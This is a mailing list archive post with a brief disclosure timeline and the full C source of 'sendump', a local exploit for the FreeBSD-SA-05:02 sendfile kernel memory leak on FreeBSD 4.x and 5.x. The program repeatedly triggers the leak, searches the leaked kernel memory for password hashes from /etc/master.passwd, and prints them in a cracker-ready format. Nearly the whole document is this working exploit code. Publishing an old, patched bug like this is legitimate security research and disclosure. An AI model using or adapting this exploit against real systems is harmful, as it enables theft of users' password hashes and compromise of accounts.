oss-sec mailing list archives

6-year FreeBSD-SA-05:02.sendfile exploit


From: Solar Designer <solar () openwall com>
Date: Fri, 1 Apr 2011 22:00:12 +0400

Hi,

This is almost 0-day.  In a sense.

I wrote this for a pentesting company.  I found it ethically OK to do
since the FreeBSD advisory was already out for a couple of weeks.
It turns out I was not alone to write an exploit for this bug, and to
publish the exploit this year.

Timeline:

2005/04/04 - FreeBSD-SA-05:02.sendfile published:
http://security.freebsd.org/advisories/FreeBSD-SA-05:02.sendfile.asc

2005/04/16 - reliable FreeBSD 4.x local exploit written ...

2005/04/21 - ... and updated to work on 5.x as well (up to 5.3)

2011/02/05 - Kingcope publishes "FreeBSD <= 5.4-RELEASE ftpd (Version
6.00LS) sendfile kernel mem-leak Exploit":
http://seclists.org/fulldisclosure/2011/Feb/83
(By the way, the "<=" is wrong.)

2011/04/01 - Hey, that's today.

--- sendump.c ---
/*
 * sendump - FreeBSD-SA-05:02.sendfile exploit - 2005/04/16.
 * Updated for FreeBSD 5.x, added alternate hash types, added optional
 * relaxed pattern matching - 2005/04/21.
 *
 * This program is meant to be used in controlled environments only.
 * If found in the wild, please return to ... wait, this is public now,
 * and this program is hereby placed in the public domain.  Feel free to
 * reuse parts of the source code, etc.
 *
 * Password hashes will be dumped to stdout as they're being obtained.
 * There may be duplicates.
 *
 * Debugging may be enabled with one to three "-d" flags.  Debugging
 * information will be dumped to stderr and, for levels 2 and 3, to
 * the "dump" file.
 *
 * Relaxed pattern matching may be enabled with "-r".  This increases
 * the likelihood of printing garbage while also making it more likely
 * to actually catch the hashes.
 *
 * There's some risk of this program crashing the (vulnerable) system,
 * although this is not intentional.  Normally, the program just prints
 * password hashes from /etc/master.passwd in a format directly usable
 * with John the Ripper.
 *
 * Compile/link with "gcc -Wall -O2 -fomit-frame-pointer -s -lutil".
 *
 * Run this on a filesystem with soft-updates for best results.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>
#include <errno.h>
#include <assert.h>

/* for forkpty(); will also need to link against -lutil */
#include <sys/ioctl.h>
#include <termios.h>
#include <libutil.h>

#define Ki              1024
#define Mi              (1024 * Ki)

#define DUMP_NAME       "dump"

#define DUMMY_NAME      "dummy"
#define DUMMY_SIZE      (128 * Mi)
#define SOCKET_BUF      (196 * Ki)

#define DUMMY_RAND_BITS 4
#define DUMMY_RAND_MASK ((1 << DUMMY_RAND_BITS) - 1)

#define MAX_LOGIN       16
#define MAX_GECOS       128
#define MAX_HOME        128
#define MAX_SHELL       128

static char itoa64[64] =
        "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";

static int debug = 0, relaxed = 0;
static char buf[SOCKET_BUF];

static void pexit(char *what)
{
        perror(what);
        exit(1);
}

static void write_loop(int fd, char *buf, int count)
{
        int offset, block;

        offset = 0;
        while (count > 0) {
                block = write(fd, &buf[offset], count);
                if (block < 0) pexit("write");
                if (!block) {
                        fprintf(stderr, "write: Returned 0\n");
                        exit(1);
                }

                offset += block;
                count -= block;
        }
}

static void dump(char *buf, int count)
{
        static int fd = -1;

        if (fd < 0) {
                fd = creat(DUMP_NAME, S_IRUSR | S_IWUSR);
                if (fd < 0) pexit("creat");
        }
        write_loop(fd, buf, count);
}

static int nonzero(char *buf, int count)
{
        char *p, *end;

        p = buf;
        end = buf + count;
        while (p < end)
                if (*p++) return 1;

        return 0;
}

static int search(char *buf, int count)
{
        static char prevuser[MAX_LOGIN + 1], prevpass[61];
        char *p, *q, *end;
        int n;
        char *user, *pass, *gecos, *home, *shell;
        struct passwd *pw;
        int found = 0;

        p = buf;
        end = buf + count;
        while (p < end && (p = memchr(p, '/', end - p))) {
                q = p++;
                if (q < buf + (1+1+1+13+2+0+1+1+1)) continue;
                shell = q;
                n = 0;
                while (q < end && *q++ > ' ') n++;
                if (n < 2 || n > MAX_SHELL) continue;
                if (q >= end || *q != '\0') continue;
                q = shell;
                if (*--q != '\0') continue;
                n = 0;
                while (q > buf && *--q > ' ') n++;
                if (n < 1 || n > MAX_HOME) continue;
                home = q + 1;
                if (!relaxed && *home != '/') continue;
                if (q < buf + (1+1+1+13+2+0+1)) continue;
                if (*q != '\0') continue;
                n = 0;
                while (q > buf && *--q >= ' ') n++;
                if (n > MAX_GECOS) continue;
                gecos = q + 1;
                if (q < buf + (1+1+1+13+2-1)) continue;
                if (*q != '\0') continue;
                n = 1;
                while (q > buf && *--q == '\0') n++;
                if (n != 2 || !memchr(itoa64, *q, 64)) {
                        /* Doesn't look like FreeBSD 4.x, suspect 5.x */
                        if (*(q + n - 13) == '\0' &&
                            memchr(itoa64, *(q + n - 14), 64))
                                /* Looks like FreeBSD 5.x */
                                q += n - 14;
                        else
                        if (!relaxed) continue;
                }
                q++;
                n = 0;
                while (q > buf && memchr(itoa64, *--q, 64)) n++;
                switch (n) {
                case 22:
                        /* MD5-based */
                        if (q < buf + (1+1+1+3+1+1-1)) continue;
                        if (*q != '$') continue;
                        n = 0;
                        while (q > buf && memchr(itoa64, *--q, 64)) n++;
                        if (n < 1 || n > 8) continue;
                        if (q < buf + (1+1+1+3-1)) continue;
                        if (*q != '$') continue;
                        if (*--q != '1') continue;
                        if (*--q != '$') continue;
                        break;
                case 13:
                        /* Traditional DES-based */
                        q++;
                        break;
                case 53:
                        /* bcrypt */
                        if (*q != '$') continue;
                        q--;
                        if (*q < '0' || *q > '9') continue;
                        q--;
                        if (*q < '0' || *q > '3') continue;
                        if (*--q != '$') continue;
                        if (*--q != 'a') continue;
                        if (*--q != '2') continue;
                        if (*--q != '$') continue;
                        break;
                case 19:
                        /* Extended DES-based */
                        if (*q == '_') break;
                default:
                        continue;
                }
                pass = q;
                if (q < buf + (1+1+1)) continue;
                if (*--q == '*' && q >= buf + (1+1+1+8)) {
                        q -= 7;
                        if (memcmp(q, "*LOCKED", 7)) continue;
                        pass = q;
                        q--;
                }
                if (*q != '\0') continue;
                n = 0;
                while (q > buf && *--q >= '0') n++;
                if (n < 1 || n > MAX_LOGIN || q <= buf) continue;
                user = q + 1;

                pw = getpwnam(user);
                if (!relaxed && !pw) continue;

                found = 1;

                if (!strcmp(user, prevuser) && !strcmp(pass, prevpass))
                        continue;

                strcpy(prevuser, user);
                strcpy(prevpass, pass);

                if (pw)
                        printf("%s:%s:%u:%u:%s:%s:%s\n",
                                user, pass,
                                pw->pw_uid, pw->pw_gid, gecos, home, shell);
                else
                        printf("%s:%s:?:?:%s:%s:%s\n",
                                user, pass, gecos, home, shell);
        }

        return found;
}

static void exec_passwd(void)
{
        int tty, pid;

        switch ((pid = forkpty(&tty, NULL, NULL, NULL))) {
        case -1:
                pexit("forkpty");

        case 0:
                execl("/usr/bin/passwd", "passwd", NULL);
                pexit("execl");
        }

        write_loop(tty, "\n", 1);
        close(tty);

        if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
        if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");
}

static void usage(void)
{
        extern char *__progname;

        fprintf(stderr, "Usage: %s [-d[d[d]]] [-r]\n", __progname);
        exit(1);
}

static void tune(int argc, char **argv)
{
        int c;

        while ((c = getopt(argc, argv, "dr")) != -1) {
                switch (c) {
                case 'd':
                        debug++;
                        break;
                case 'r':
                        relaxed++;
                        break;
                default:
                        usage();
                }
        }
        if (argc != optind) usage();
}

int main(int argc, char **argv)
{
        int dummy, lin, in, out;
        int pid;
        struct sockaddr_in sin;
        socklen_t sin_length;
        int optval;
        off_t dummy_size;
        int count;

        tune(argc, argv);

        dummy = open(DUMMY_NAME, O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR);
        if (dummy < 0) pexit("open");

        if (unlink(DUMMY_NAME)) pexit("unlink");

        lin = socket(PF_INET, SOCK_STREAM, 0);
        if (lin < 0) pexit("socket");

        if (listen(lin, 1)) pexit("listen");

        sin_length = sizeof(sin);
        if (getsockname(lin, (struct sockaddr *)&sin, &sin_length))
                pexit("getsockname");
        assert(sin_length == sizeof(sin));

more:
        exec_passwd();

        dummy_size = DUMMY_SIZE >> ((rand() >> 16) & DUMMY_RAND_MASK);
        if (ftruncate(dummy, dummy_size)) pexit("ftruncate");

        switch ((pid = fork())) {
        case -1:
                pexit("fork");

        case 0:
                out = socket(PF_INET, SOCK_STREAM, 0);
                if (out < 0) pexit("socket");

                if (connect(out, (struct sockaddr *)&sin, sin_length))
                        pexit("connect");

                if (sendfile(dummy, out, 0, DUMMY_SIZE, NULL, NULL, 0))
                        pexit("sendfile");

                return 0;
        }

        in = accept(lin, NULL, NULL);
        if (in < 0) pexit("accept");

        optval = SOCKET_BUF;
        if (setsockopt(in, SOL_SOCKET, SO_RCVBUF, &optval, sizeof(optval)))
                perror("setsockopt");

        if (ftruncate(dummy, 0)) pexit("ftruncate");

        do {
                count = read(in, buf, sizeof(buf));
                if (count < 0) pexit("read");

                if (debug >= 3) {
                        if (nonzero(buf, count)) {
                                fprintf(stderr, "NZ (%d)\n", count);
                                dump(buf, count);
                                search(buf, count);
                        } else
                                fprintf(stderr, "Z (%d)\n", count);
                } else {
                        if (search(buf, count)) {
                                if (debug) fputc('$', stderr);
                                if (debug >= 2)
                                        dump(buf, count);
                        } else
                        if (debug)
                                fputc(nonzero(buf, count) ? '+' : '-', stderr);
                }
        } while (count);

        if (debug) {
                if (debug < 3)
                        fputc('|', stderr);
                else
                        fputs("---\n", stderr);
        }

        if (kill(pid, SIGKILL) && errno != ESRCH) perror("kill");
        if (waitpid(pid, NULL, 0) < 0) pexit("waitpid");

        close(in);

        fflush(stdout);

        goto more;
}
---

Alexander


Current thread: